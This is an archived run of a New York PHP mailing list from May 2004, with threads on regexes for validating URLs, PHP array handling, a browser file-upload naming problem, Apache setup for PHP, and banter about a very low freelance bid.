> > Incidentally, the next training is scheduled
> > for May 17-18 (you can see the course outline at:
> > http://nyphp.org/content/training/twodaycourse.php )
> > 
> > Please contact me off list at:
> > 
> > 
> > with any ideas.
> > 
> > 
> > Thanks in advance,
> > 
> > Tim Gales
> > 
> > 
> > _______________________________________________
> > talk mailing list
> > talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk
> > 
> 
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From adam at trachtenberg.com  Mon May  3 15:25:00 2004
From: adam at trachtenberg.com (Adam Maccabee Trachtenberg)
Date: Mon, 3 May 2004 15:25:00 -0400 (EDT)
Subject: [nycphp-talk] regexp for URLs (is this correct?)
In-Reply-To: <40968FD8.6090109@ceruleansky.com>
References: <40968FD8.6090109@ceruleansky.com>
Message-ID: <Pine.LNX.4.58.0405031521540.5243@miranda.org>

On Mon, 3 May 2004, Jayesh Sheth wrote:

> Any suggestions or corrections?

I trust Jeff Friedl's regex. He wrote "Mastering Regular Expressions"
for O'Reilly and works at Yahoo!

http://www.regex.info/listing.cgi?ps=208

Also, FWIW, it's often faster and easier to write two regular
expressions to check a string than trying to cram everything into one
hugegantic regex.

You end up spending more time working on the regex than you ever save
during the course of the total run time of the program. OTOH, it's
fun. :)

-adam

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author of o'reilly's php cookbook
avoid the holiday rush, buy your copy today!


From james at surgam.net  Mon May  3 15:32:52 2004
From: james at surgam.net (James B. Wetterau Jr.)
Date: Mon, 03 May 2004 15:32:52 -0400
Subject: [nycphp-talk] regexp for URLs (is this correct?)
Message-ID: <40969E64.3080508@surgam.net>

Adam Maccabee Trachtenberg says:
 > On Mon, 3 May 2004, Jayesh Sheth wrote:
 >
 > > Any suggestions or corrections?
 >
 > I trust Jeff Friedl's regex. He wrote "Mastering Regular Expressions"
 > for O'Reilly and works at Yahoo!
 >
 > http://www.regex.info/listing.cgi?ps=208
...

His is a little out of date.  He's missing some of the new TLD's e.g. 
.museum.
For example, check out this cool URL (as the Netscape mailto default
subject used to say):
http://musedoma.museum/musedoma.html

There's a .name, and .coop, and .aero, and others, too.

OTOH, I didn't check if the URL that ate Toledo handled the new TLD's
either.




From adam at trachtenberg.com  Mon May  3 15:58:36 2004
From: adam at trachtenberg.com (Adam Maccabee Trachtenberg)
Date: Mon, 3 May 2004 15:58:36 -0400 (EDT)
Subject: [nycphp-talk] regexp for URLs (is this correct?)
In-Reply-To: <40969E64.3080508@surgam.net>
References: <40969E64.3080508@surgam.net>
Message-ID: <Pine.LNX.4.58.0405031556590.5243@miranda.org>

On Mon, 3 May 2004, James B. Wetterau Jr. wrote:

> His is a little out of date.  He's missing some of the new TLD's e.g.
> .museum.

That's probably true, but it's easy to tack on new TLDs.

> OTOH, I didn't check if the URL that ate Toledo handled the new TLD's
> either.

Most regexen just check that the TLD is something like [a-zA-Z]{2,}

-adam

-- 
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author of o'reilly's php cookbook
avoid the holiday rush, buy your copy today!


From dmintz at davidmintz.org  Mon May  3 16:18:42 2004
From: dmintz at davidmintz.org (David Mintz)
Date: Mon, 3 May 2004 16:18:42 -0400 (EDT)
Subject: [nycphp-talk] regexp for URLs (is this correct?)
In-Reply-To: <Pine.LNX.4.58.0405031556590.5243@miranda.org>
References: <40969E64.3080508@surgam.net>
	<Pine.LNX.4.58.0405031556590.5243@miranda.org>
Message-ID: <Pine.BSF.4.58.0405031606170.2997@emra.pair.com>


I know this is sort of a copout but once, when I had this situation and
had the resources to kill -- importing thousand rows from a text file to
MySQL and sanity-checking a ton of things in the process -- I said the
hell with it, let's just try to access the resource that the URL points
to. No response means URL no good, well-formedness notwithstanding.

 if ($handle = @fopen ($url, "r"))

True, a site could be down temporarily. Call it the
one-strike-and-you're-out rule.



---
David Mintz
http://davidmintz.org/

        "Anybody else got a problem with Webistics?" -- Sopranos 24:17


From chubbard at next-online.net  Mon May  3 17:32:38 2004
From: chubbard at next-online.net (Chris Hubbard)
Date: Mon, 03 May 2004 14:32:38 -0700
Subject: [nycphp-talk] regexp for URLs (is this correct?)
In-Reply-To: <40968FD8.6090109@ceruleansky.com>
References: <40968FD8.6090109@ceruleansky.com>
Message-ID: <66648D0A-9D49-11D8-9321-003065D637D0@next-online.net>

Jay,
I've played with this one a lot and I've got a regex that I'm using.   
It has one bug that I know about, maybe someone on this list can  
suggest a fix:

$regx =  
"^((http|https|ftp)\:\/\/[a-zA-Z0-9\-\.]+\.[a-zA-Z0-9]{2,5}(:[a-zA-Z0 
-9]*)?\/?([a-zA-Z0-9\-\._\?\,\'\/\\\+&%\$#\=~])*)$";

The bug is domain names with a hyphen fail.  So, www.big-boots.com  
would fail, where www.bigboots.com passes.

Chris

On May 3, 2004, at 11:30 AM, Jayesh Sheth wrote:

> Hello all,
>
> I came up with this Perl-style regular expression to validate URLs.
>
> For example, if I want to match "http://www.google.com"
> then I would test it against the following pattern:
>
> #^([a-z]{3,}://)(([0-9a-z-]+\.)+[0-9a-z]{2,4})$#i
>
> maybe I want to do something like this though:
>
> #^([a-z]{3,5}://)(([0-9a-z-]+\.)+[0-9a-z]{2,4})$#i
>
> so that
> http://www.google.com
>
> and
> ftp://ftp.mozilla.org
>
> and
> https://www.amazon.com
>
> are matched
>
> but
> httpsabc://www.somewhere.com
>
> is not matched.
>
> I primarily want to validate http:// links, though.
>
> Another thought: I want to be flexible and allow the user to enter  
> something like:
>
> www.google.com
>
> Should I first try to match against:
> #^([a-z]{3,5}://)(([0-9a-z-]+\.)+[0-9a-z]{2,4})$#i
>
> and then, if that fails against:
> #^(([0-9a-z-]+\.)+[0-9a-z]{2,4})$#i
>
> I also realize that something like
> http://www.google.com/
>
> will not be matched.
>
> Any suggestions or corrections?
>
> Thanks in advance!
>
> Best Regards,
>
> - Jay
>
>
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From danielc at analysisandsolutions.com  Mon May  3 17:41:26 2004
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Mon, 3 May 2004 17:41:26 -0400
Subject: [nycphp-talk] regexp for URLs (is this correct?)
In-Reply-To: <66648D0A-9D49-11D8-9321-003065D637D0@next-online.net>
References: <40968FD8.6090109@ceruleansky.com>
	<66648D0A-9D49-11D8-9321-003065D637D0@next-online.net>
Message-ID: <20040503214126.GA15735@panix.com>

On Mon, May 03, 2004 at 02:32:38PM -0700, Chris Hubbard wrote:

> "^((http|https|ftp)\:\/\/[a-zA-Z0-9\-\.]+\.[a-zA-Z0-9]{2,5}(:[a-zA-Z0-9]*)?\/?([a-zA-Z0-9\-\._\?\,\'\/\\\+&%\$#\=~])*)$"; 

You're over escaping things.  Items in [] don't need to be escaped, and to
search for "-" itself, put it at the beginning or the end, [a-zA-Z0-9.-],
so it doesn't think you're creating another range.

Also, I don't think ":" needs escaping and you can change your delimiter
from "/" to some other character that's unused in the expression so you
don't have to do "\/" over and over.

... snip, the polite thing to do ...

--Dan

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From cmerlo at ncc.edu  Mon May  3 17:12:31 2004
From: cmerlo at ncc.edu (Christopher R. Merlo)
Date: Mon, 3 May 2004 17:12:31 -0400
Subject: Subject: Re: [nycphp-talk] regexp for URLs (is this correct?)
In-Reply-To: <40969361.3020502@surgam.net>
References: <40969361.3020502@surgam.net>
Message-ID: <20040503211231.GB23690@ncc.edu>

On 2004-05-03 14:45 -0400, James B. Wetterau Jr. <james at surgam.net> wrote:

> A Perl expert of some repute did the hard work of reading all the
> relevant protocol specs, BNF notation, etc., and came up with this
> valid URL parsing regexp.  Anything shorter is likely to miss some
> special case.

I'm glad I don't have to debug that.

I like the idea (sorry, I deleted the original post) of checking with
fopen.  Perhaps create a DB table with a column for last good result
from fopen.  If that column reaches a threshold, chuck the URL.
-c

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From cwf at axlotl.net  Mon May  3 21:39:36 2004
From: cwf at axlotl.net (chris)
Date: Mon, 3 May 2004 21:39:36 -0400
Subject: [nycphp-talk] confused by classes
In-Reply-To: <20040503031049.GA22394@panix.com>
References: <200405011850.34004.cwf@axlotl.net>
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On Sunday 02 May 2004 11:10 pm, Daniel Convissor wrote:
> First, your coding style needs improvement.  See
You think I have a coding *style*? ..Gee, thanks!

> Assign the return by reference in order to conserve memory, etc:
>   ? ? $dbh =& DB::connect($dsn);
Good to know 

> quote() is deprecated.  Use quoteSmart().
And thanks for this and the others.
>
> It's not clear what you're looking for here.
What I'm looking for is an answer to a general design question. I see three 
vaguely defined ways of doing this.
 Should I make the functions generic, and customize the sql in the script 
(that is, write a specific query and pass that and an array of parameters for 
each specific need, reusing a very generic DB connect/query function)?

$res = ("SELECT $sql, $data")

 Or is it better to code a catch all query in the function, and return a bunch 
of methods like this (my most recent brainstorm):

$res = ("SELECT w, x, y, y, z
              FROM [...])

Returns an array, or:

$this->one = $res[0];
$this->two = $res[1];
$this->three = $res[2];
...etc...

Or, lastly, is it best to make a bunch of rather specific functions with 
queries hard coded in them, but which are only returning tightly restricted 
datasets:
function a(){
$res = ("SELECT w FROM x");
return $res;}

function b(){
$res = ("SELECT y FROM z");
return $res;}

I guess I'm asking if I should be working with some general principle 
governing in which direction I should be pushing complexity. Towards the 
functions, or towards the scripts? Or should I just go away and run my head 
into a wall until I've learned enough to come back and ask more coherent 
questions (a reasonable answer, I would have to admit)?

Chris


> --Dan


From jayeshsh at ceruleansky.com  Mon May  3 22:08:27 2004
From: jayeshsh at ceruleansky.com (Jayesh Sheth)
Date: Mon, 03 May 2004 22:08:27 -0400
Subject: [nycphp-talk] Re: regexp for URLs (is this correct?)
Message-ID: <4096FB1B.8010905@ceruleansky.com>

Hello all,

thanks for the excellent pointers regarding URL validation.
I think that since I am only validating http:// and https:// URLs for 
now, the really (30 - 50 line) long one would be too much to incorporate 
for this job ...

But I just realized some things that were wrong with my previous regular 
expressions (those matching 'http://www.google.com' and 'www.google.com' 
respectively):

a) I could check for a optional slash at the end by using something like:
/?

b) In both cases, input such as the following would fail:
http://www.google.com/something/something.html

OR
www.google.com/something/something.html

With a bit of experimenting (I really need to upload my interactive 
Perl-regex tester script to my public scripts area), I came up with the 
following:

/*
Should match:
http://www.google.com/something/something.html
http://www.google.com/something/something
http://www.google.com/something/something/
http://www.google.com/
http://www.google.com
*/
#^(([a-z]{3,5})://)(([0-9a-z-]+\.)+[0-9a-z]{2,6})((/[0-9a-z-]*)+?/?([0-9a-z-.]*)+?)$#i

and
/*
Should match:
www.google.com/something/something.html
www.google.com/something/something
www.google.com/something/something/
www.google.com/
www.google.com
*/

#^(([0-9a-z-]+\.)+[0-9a-z]{2,6})((/[0-9a-z-]*)+?/?([0-9a-z-.]*)+?)$#i

It is getting close to my bed time now, so I am not sure how correct 
these are. I will do some more testing tomorrow. If, however, they do 
work, they might be of use to others.

If anyone finds anything wrong with them, please let me know.

Best Regards,
- Jay

PS: I changed my regexps to allow 6 letter domains ( .museum ) after 
reading some responses today. The [0-9a-z]{2,6} part, that is.
PPS: I will be using these expressions to mostly evaluate newly 
submitted URLs via a text input box. The other regexps that I posted 
recently were for batch validation (and transformation / import) of lots 
of invalid MySQL data. Thanks for the fopen() tip, David.



From wfan at encogent.com  Tue May  4 11:28:15 2004
From: wfan at encogent.com (Wellington Fan)
Date: Tue, 4 May 2004 11:28:15 -0400
Subject: [nycphp-talk] Re: regexp for URLs (is this correct?)
In-Reply-To: <4096FB1B.8010905@ceruleansky.com>
Message-ID: <001b01c431ec$6b913da0$6400a8c0@lorimervmware>

Listfolk,

Try this really nifty regex tester:

The Regex Coach
http://www.weitz.de/regex-coach/

Windows & Linux versions available.

--
Wellington



From tgales at tgaconnect.com  Tue May  4 12:16:48 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Tue, 4 May 2004 12:16:48 -0400
Subject: [nycphp-talk] Scholarships for Training at New York PHP
Message-ID: <00a401c431f3$345b5030$e98d3818@oberon1>


The education dept. at New York PHP will be 
awarding at least one partial scholarship to 
the upcoming two day training session 
scheduled for May 17-18.

The criteria used to select recipients of the
scholarships will be based primarily on (but 
not limited to) the following factors:

a) past participation on the mailing lists 
   as well as contributions to general meetings 
   at NYPHP

b) willingness to contribute and help others
   (can be demonstrated by participation in 
    groups other that NYPHP)

c) a brief write-up from the applicant 
   stating how the granting of a scholarship 
   to him or her will make a beneficial impact 
   (for the individual as well as the open source 
    community at large in terms of widening the 
    understanding PHP, MySQL, and Apache tools)

The scholarships are to be for fifty (50) percent 
of the full tuition price, presently $780

Please address questions and responses to:

training at nyphp.org






From jonbaer at jonbaer.net  Tue May  4 13:06:29 2004
From: jonbaer at jonbaer.net (jon baer)
Date: Tue, 04 May 2004 13:06:29 -0400
Subject: [nycphp-talk] Scholarships for Training at New York PHP
In-Reply-To: <00a401c431f3$345b5030$e98d3818@oberon1>
References: <00a401c431f3$345b5030$e98d3818@oberon1>
Message-ID: <4097CD95.9060304@jonbaer.net>

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do these include RAMP Certification classes? or is this just for the
2-day overview class?

thanks. (good idea :-)

- - jon

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From southwell at dneba.com  Tue May  4 13:21:18 2004
From: southwell at dneba.com (Michael Southwell)
Date: Tue, 04 May 2004 13:21:18 -0400
Subject: [nycphp-talk] Scholarships for Training at New York PHP
In-Reply-To: <4097CD95.9060304@jonbaer.net>
References: <00a401c431f3$345b5030$e98d3818@oberon1>
	<4097CD95.9060304@jonbaer.net>
Message-ID: <6.1.0.6.2.20040504132042.01ef0378@mail.optonline.net>

At 01:06 PM 5/4/2004, you wrote:
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>do these include RAMP Certification classes? or is this just for the
>2-day overview class?

just the 17-18 May two-day class


Michael Southwell
VP, Education Department
NYPHP
michael.southwell at nyphp.org




From Rafi.Sheikh at Ingenix.com  Tue May  4 14:36:14 2004
From: Rafi.Sheikh at Ingenix.com (Rafi Sheikh)
Date: Tue, 4 May 2004 13:36:14 -0500 
Subject: [nycphp-talk] data vector
Message-ID: <C92A8F8B60F96B42911EFA70AF30A88F060A46EC@msp7-msx1.ingenix.com>

Hi list.  Admittedly a very silly and basic question:

I need to pass data vector to a variable that could be later used to plot a
graph.  I am able to -finally!- get the data in an array format...and it
looks like this:

Array ( [0] => 59 [1] => 72 [2] => 45 ) 
Array ( [0] => 118 [1] => 77 [2] => 107)

But apparently I am not passing this data correctly.  My code is as follows:
[code]
<?php
....
while ($row=mysql_fetch_assoc($result)) { 
  $time['time'] =( $row['time']);
  $prio['priority'] = ($row['Priority']); 
  $valu['total'] =( $row['total']); 
//creating arrays
if(!is_array($plot[$prio['priority']]))
	{
        $plot[$prio['priority']] = array();
    	}	
	array_push($plot[$prio['priority']], $valu['total']);
}
// Assigning values
$g0=$plot[''];
$g1=$plot['1 - Started within one hour'];
$g2=$plot['2 - Started within four hours'];
$g3=$plot['3 - Started within 24 hours'];
$g4=$plot['4 - As soon as possible'];
// Printing those values
{
 print_r($g0);
echo "<br>";
 print_r($g1);
echo "<br>";
 print_r($g2);
echo "<br>";
 print_r($g3);
echo "<br>";
 print_r($g4);
}
?>
[/code]

Q1. Should I not use associative array?
Q2. How can I pass the data points in the var $g0-$g4 so the data vector is
passed?

I am signed up for some formal class in PHP in June-04, but I have to figure
this out before that, and plz. trust me when I say that this basic level of
headache is really embarassing, and yes, I have been reading and reading and
...

RS


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From suzerain at suzerain.com  Tue May  4 17:39:21 2004
From: suzerain at suzerain.com (Marc Antony Vose)
Date: Tue, 4 May 2004 17:39:21 -0400
Subject: [nycphp-talk] windows 98 or 2000, file uploads and name length
In-Reply-To: <C92A8F8B60F96B42911EFA70AF30A88F060A46EC@msp7-msx1.ingenix.com>
References: <C92A8F8B60F96B42911EFA70AF30A88F060A46EC@msp7-msx1.ingenix.com>
Message-ID: <p0610051abcbdbc0e73e3@[192.168.1.44]>

Hi there:

I'm primarily an OS X user, but I have an XP box that I am testing on.

I've got a client who is using a tool I created to manage all the 
content on their site.  It includes file upload capability, and some 
of their files were getting mangled somehow in the upload process.

It looks like the browser they are using (Windows 98, IE 5, or IE 6 
on Windows 2000) is chopping the file name and inserting an ellipsis 
character.  This seems really stupid to me, since the ellipsis 
character is not part of the valid ASCII set.  Anyway, they have 
files whose names are getting changed to something like:

ABU_REP_70_2004_04_01_Certificate_for_FSC_web_page_tradema....pdf

which translates to:

ABU_REP_70_2004_04_01_Certificate_for_FSC_web_page_tradema%E2%80%A6.pdf

Therefore, browsers can't find the file, even though it is uploaded 
to the proper location.

She sent me a file that she can't upload, which is called:

FSC_STD_20_001_General_requirements_for_FSC_certification_bodies_V1_0.PDF

Obviously, this file name is long -- maybe even obnoxiously long -- 
but it's only 73 characters.

My problem is...I have tried and tried, and I can't NOT get this file 
to upload properly, on either my Mac or my XP box.

Is there some file length restriction in Internet Explorer for 
Windows 98 or 2000?  Is there something else causing these files to 
end up with phantom ellipses?

Just hoping someone has encountered this before.



-- 
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From jonbaer at jonbaer.net  Tue May  4 17:58:53 2004
From: jonbaer at jonbaer.net (Jon Baer)
Date: Tue, 04 May 2004 17:58:53 -0400
Subject: [nycphp-talk] windows 98 or 2000, file uploads and name length
In-Reply-To: <p0610051abcbdbc0e73e3@[192.168.1.44]>
References: <C92A8F8B60F96B42911EFA70AF30A88F060A46EC@msp7-msx1.ingenix.com>
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Have not heard of such a thing (I know there were charset problems in
the early days) but have you tried HTTP_Upload?

http://pear.php.net/package/HTTP_Upload

- - Jon

Marc Antony Vose wrote:

| Is there some file length restriction in Internet Explorer for Windows
| 98 or 2000?  Is there something else causing these files to end up with
| phantom ellipses?
|
| Just hoping someone has encountered this before.

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From pl at eskimo.com  Tue May  4 23:41:43 2004
From: pl at eskimo.com (Peter Lehrer)
Date: Tue, 4 May 2004 23:41:43 -0400
Subject: [nycphp-talk] Fw: [nylug-talk] Problems with PHP
Message-ID: <003601c43252$e3c40d00$682c0242@default>

Can anyone help this guy?

p l
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From: "Luigi" <luigi2k2 at myrealbox.com>
To: "NYLUG" <nylug-talk at nylug.org>
Sent: Tuesday, May 04, 2004 9:52 PM
Subject: [nylug-talk] Problems with PHP


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> A friend of mine is having some trouble with PHP, since I don't know much
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> He told me that when he creates an html doc and adds PHP code to it it
will
> only execute the HTML part and not the PHP.
> He has Mandrake 9.2 installed and the PHP version and software which comes
> with it.
> If more data regarding the problem is needed please tell me and I'll ask
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> Any help will be welcomed.
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From crisscott at netzero.com  Wed May  5 08:02:05 2004
From: crisscott at netzero.com (Scott Mattocks)
Date: Wed, 05 May 2004 08:02:05 -0400
Subject: [nycphp-talk] Fw: [nylug-talk] Problems with PHP
In-Reply-To: <003601c43252$e3c40d00$682c0242@default>
References: <003601c43252$e3c40d00$682c0242@default>
Message-ID: <4098D7BD.6030604@netzero.com>

I would tell him to check that apache is set up properly.  Make sure 
that his httpd.conf file has this line:
AddType application/x-httpd-php .php
If apache isn't told to pass the file to PHP it will just spit it out as 
is and the users browser will ignore any tags (<?php ?>) it doesn't 
recognize.

Scott Mattocks

Peter Lehrer wrote:
> Can anyone help this guy?
> 
> p l
> ----- Original Message -----
> From: "Luigi" <luigi2k2 at myrealbox.com>
> To: "NYLUG" <nylug-talk at nylug.org>
> Sent: Tuesday, May 04, 2004 9:52 PM
> Subject: [nylug-talk] Problems with PHP
> 
> 
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>>He told me that when he creates an html doc and adds PHP code to it it
> 
> will
> 
>>only execute the HTML part and not the PHP.
>>He has Mandrake 9.2 installed and the PHP version and software which comes
>>with it.
>>If more data regarding the problem is needed please tell me and I'll ask
> 
> him.
> 
>>Any help will be welcomed.
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From phillip.powell at adnet-sys.com  Wed May  5 10:04:10 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Wed, 05 May 2004 10:04:10 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
Message-ID: <4098F45A.9010406@adnet-sys.com>

I'm curious as to how I should handle this, other than the obvious H*LL NO:

A guy posted a request for bids for a project whereby he needs an entire 
file management application system, complete with ability to handle 
streaming audio/video uploads and downloads, search engine, advanced 
search engine, "Top Ten" videos, a "My" personalization feature, and at 
least 12 - 13 other major applications.

Total time to develop ALL of this: 15 days
Max bid: $20

Hey if anything I gave you all the laugh of the day! :)

Phil

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From yury at heavenspa.com  Wed May  5 10:04:51 2004
From: yury at heavenspa.com (Yury Rush)
Date: Wed, 5 May 2004 10:04:51 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <4098F45A.9010406@adnet-sys.com>
Message-ID: <ECEKLPHECCLGFGAFEPEJIEAMCAAA.yury@heavenspa.com>

I'd pay atleast 50 for all that and buy lunch :)

regards
yury

p.s. /me wonders if he/she is outsourced or a native :D

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[mailto:talk-bounces at lists.nyphp.org]On Behalf Of Phillip Powell
Sent: Wednesday, May 05, 2004 9:04 AM
To: NYPHP Talk
Subject: [nycphp-talk] Worst freelance offer of all time!


I'm curious as to how I should handle this, other than the obvious H*LL NO:

A guy posted a request for bids for a project whereby he needs an entire
file management application system, complete with ability to handle
streaming audio/video uploads and downloads, search engine, advanced
search engine, "Top Ten" videos, a "My" personalization feature, and at
least 12 - 13 other major applications.

Total time to develop ALL of this: 15 days
Max bid: $20

Hey if anything I gave you all the laugh of the day! :)

Phil

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From joel at tagword.com  Wed May  5 11:54:43 2004
From: joel at tagword.com (Joel De Gan)
Date: Wed, 05 May 2004 11:54:43 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <4098F45A.9010406@adnet-sys.com>
References: <4098F45A.9010406@adnet-sys.com>
Message-ID: <1083772483.4838.25.camel@bezel>

A lot of time people who do that are looking for pre-built opensource
scripts to be installed.
$20 to upload a file and ungzip/untar a file and change a couple things
is not to bad for people.. in particular people overseas.
I run a small job bid site and see those a lot.
-joeldg

On Wed, 2004-05-05 at 10:04, Phillip Powell wrote:
> I'm curious as to how I should handle this, other than the obvious H*LL NO:
> 
> A guy posted a request for bids for a project whereby he needs an entire 
> file management application system, complete with ability to handle 
> streaming audio/video uploads and downloads, search engine, advanced 
> search engine, "Top Ten" videos, a "My" personalization feature, and at 
> least 12 - 13 other major applications.
> 
> Total time to develop ALL of this: 15 days
> Max bid: $20
> 
> Hey if anything I gave you all the laugh of the day! :)
> 
> Phil
-- 
joeldg - developer, Intercosmos media group.
http://lucifer.intercosmos.net



From nyphp at enobrev.com  Wed May  5 11:16:58 2004
From: nyphp at enobrev.com (Mark Armendariz)
Date: Wed, 5 May 2004 11:16:58 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <1083772483.4838.25.camel@bezel>
Message-ID: <E1BLO8u-0001F6-RF@server1057.webserver33.com>

$20 for even just an upload and configuration is absurd.   Even so, 15 days
max says that s/he's looking for some customization.  I don't even know of
overseas groups that would do 15 days of work for $20.  Besides that, bid
for work sites have the silliest pricing I've ever scene (nothing against
you or your site personally, joel).

Mark




From ejp at well.com  Wed May  5 11:33:41 2004
From: ejp at well.com (Edward Potter)
Date: Wed, 5 May 2004 11:33:41 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <1083772483.4838.25.camel@bezel>
References: <4098F45A.9010406@adnet-sys.com> <1083772483.4838.25.camel@bezel>
Message-ID: <962B576E-9EA9-11D8-BE4D-000393CAC09E@well.com>

Well, while staying in India, my daily rent for a GREAT apartment was 
about .50 cents a day (Rishikesh). Assume living in NYC your rent is 
$30 per day. So it's about 1/60 the cost. Thats why the odds are this 
vendor may actually get someone for $20 for this project. And why I'd 
HIGHLY recommend to any up and coming USA based programmer  to learn 
welding. plumbing, or carpentry as a sideline, or at least Java2ME.  
:-)

-ed


On May 5, 2004, at 11:54 AM, Joel De Gan wrote:

> A lot of time people who do that are looking for pre-built opensource
> scripts to be installed.
> $20 to upload a file and ungzip/untar a file and change a couple things
> is not to bad for people.. in particular people overseas.
> I run a small job bid site and see those a lot.
> -joeldg
>
> On Wed, 2004-05-05 at 10:04, Phillip Powell wrote:
>> I'm curious as to how I should handle this, other than the obvious 
>> H*LL NO:
>>
>> A guy posted a request for bids for a project whereby he needs an 
>> entire
>> file management application system, complete with ability to handle
>> streaming audio/video uploads and downloads, search engine, advanced
>> search engine, "Top Ten" videos, a "My" personalization feature, and 
>> at
>> least 12 - 13 other major applications.
>>
>> Total time to develop ALL of this: 15 days
>> Max bid: $20
>>
>> Hey if anything I gave you all the laugh of the day! :)
>>
>> Phil
> -- 
> joeldg - developer, Intercosmos media group.
> http://lucifer.intercosmos.net
>
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> talk mailing list
> talk at lists.nyphp.org
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>
>

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From joel at tagword.com  Wed May  5 12:53:02 2004
From: joel at tagword.com (Joel De Gan)
Date: Wed, 05 May 2004 12:53:02 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <E1BLO8u-0001F6-RF@server1057.webserver33.com>
References: <E1BLO8u-0001F6-RF@server1057.webserver33.com>
Message-ID: <1083775982.4837.38.camel@bezel>

Usually the "lower-bidders" i.e. $1 for a portal site + graphics.
are just trying to get into talks with the buyer, they then try to bring
them up to more realistic terms.

But, I have seen russian programmers do a ton of work for very little,
however the quality is usually kind of low as they will take on a
multitude of jobs.

Job bidding is a strange deal.
Poke around on http://listbid.com/ which is my board. and you will see.
I make a good bit each month just in referrals from this site.
-joeldg

On Wed, 2004-05-05 at 11:16, Mark Armendariz wrote:
> $20 for even just an upload and configuration is absurd.   Even so, 15 days
> max says that s/he's looking for some customization.  I don't even know of
> overseas groups that would do 15 days of work for $20.  Besides that, bid
> for work sites have the silliest pricing I've ever scene (nothing against
> you or your site personally, joel).
> 
> Mark
> 
> 
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
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http://lucifer.intercosmos.net



From danielk at us.ibm.com  Wed May  5 11:48:29 2004
From: danielk at us.ibm.com (Daniel Krook)
Date: Wed, 5 May 2004 11:48:29 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <1083775982.4837.38.camel@bezel>
Message-ID: <OF90660048.80835E00-ON85256E8B.00569826-85256E8B.0056D631@us.ibm.com>





Well, at least it's not a full-time job in California paying $2-5k a year
for LAMP  :)



http://jobsearch.monster.com/getjob.asp?JobID=21235904

2,000.00 - 5,000.00 USD /year
Salary Depends on Experience

"Fast paced internet company seeks an adavnaced PHP programmer. Must have
experience developing web applications using PHP and MySQL in a Linux
environment.

Candidate must show samples of work and knowledge of job skills.

Salary will be based upon years of job experience and programming level."





Daniel Krook, Application Developer
WW Web Production Services North 2, ibm.com
1133 Westchester Avenue, White Plains, NY 10604

Personal: http://info.krook.org/
Persona: http://w3.ibm.com/eworkplace/persona_bp_finder.jsp?CNUM=C-0M7P897




From joel at tagword.com  Wed May  5 13:09:25 2004
From: joel at tagword.com (Joel De Gan)
Date: Wed, 05 May 2004 13:09:25 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <962B576E-9EA9-11D8-BE4D-000393CAC09E@well.com>
References: <4098F45A.9010406@adnet-sys.com> <1083772483.4838.25.camel@bezel>
	<962B576E-9EA9-11D8-BE4D-000393CAC09E@well.com>
Message-ID: <1083776965.4840.45.camel@bezel>

$30!!.. haha, I wish.. Not sure where you are getting your numbers for
NY rentals.
try about $61 on a 30 day month for this loft in Chelsea. I chose to
live in Manhattan though, if I lived in Brooklyn I could get something
similar for much much less.. NY is one of the most expensive places to
live. I think San Francisco 'might' actually be more but they have a lot
of vacancies there and the market got bombed after 2000.
-joeldg

On Wed, 2004-05-05 at 11:33, Edward Potter wrote:
> Well, while staying in India, my daily rent for a GREAT apartment was 
> about .50 cents a day (Rishikesh). Assume living in NYC your rent is 
> $30 per day. So it's about 1/60 the cost. Thats why the odds are this 
> vendor may actually get someone for $20 for this project. And why I'd 
> HIGHLY recommend to any up and coming USA based programmer  to learn 
> welding. plumbing, or carpentry as a sideline, or at least Java2ME.  
> :-)
> 
> -ed

-- 
joeldg - developer, Intercosmos media group.
http://lucifer.intercosmos.net



From phillip.powell at adnet-sys.com  Wed May  5 12:07:45 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Wed, 05 May 2004 12:07:45 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <1083776965.4840.45.camel@bezel>
References: <4098F45A.9010406@adnet-sys.com>
	<1083772483.4838.25.camel@bezel>	<962B576E-9EA9-11D8-BE4D-000393CAC09E@well.com>
	<1083776965.4840.45.camel@bezel>
Message-ID: <40991151.1060001@adnet-sys.com>

According to CNN/Money, the Great City of New York is not only America's 
most expensive city, it's #11 in the world.

And if you think New York is something, it's like INDIA.. compared to 
Oslo, Norway!!!!

Give you an idea:

McDonald's Happy Meal:

DC: $5
NYC: $6
Oslo: $12.50

Phil

Joel De Gan wrote:

>$30!!.. haha, I wish.. Not sure where you are getting your numbers for
>NY rentals.
>try about $61 on a 30 day month for this loft in Chelsea. I chose to
>live in Manhattan though, if I lived in Brooklyn I could get something
>similar for much much less.. NY is one of the most expensive places to
>live. I think San Francisco 'might' actually be more but they have a lot
>of vacancies there and the market got bombed after 2000.
>-joeldg
>
>On Wed, 2004-05-05 at 11:33, Edward Potter wrote:
>  
>
>>Well, while staying in India, my daily rent for a GREAT apartment was 
>>about .50 cents a day (Rishikesh). Assume living in NYC your rent is 
>>$30 per day. So it's about 1/60 the cost. Thats why the odds are this 
>>vendor may actually get someone for $20 for this project. And why I'd 
>>HIGHLY recommend to any up and coming USA based programmer  to learn 
>>welding. plumbing, or carpentry as a sideline, or at least Java2ME.  
>>:-)
>>
>>-ed
>>    
>>
>
>  
>


-- 
---------------------------------------------------------------------------------
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Multimedia Programmer
ADNET Systems., Inc.
11260 Roger Bacon Drive Suite 403
Reston, VA  20191
#: (703) 709-7218 x107 
Fax: (703) 709-7219

	



From phillip.powell at adnet-sys.com  Wed May  5 12:10:13 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Wed, 05 May 2004 12:10:13 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <OF90660048.80835E00-ON85256E8B.00569826-85256E8B.0056D631@us.ibm.com>
References: <OF90660048.80835E00-ON85256E8B.00569826-85256E8B.0056D631@us.ibm.com>
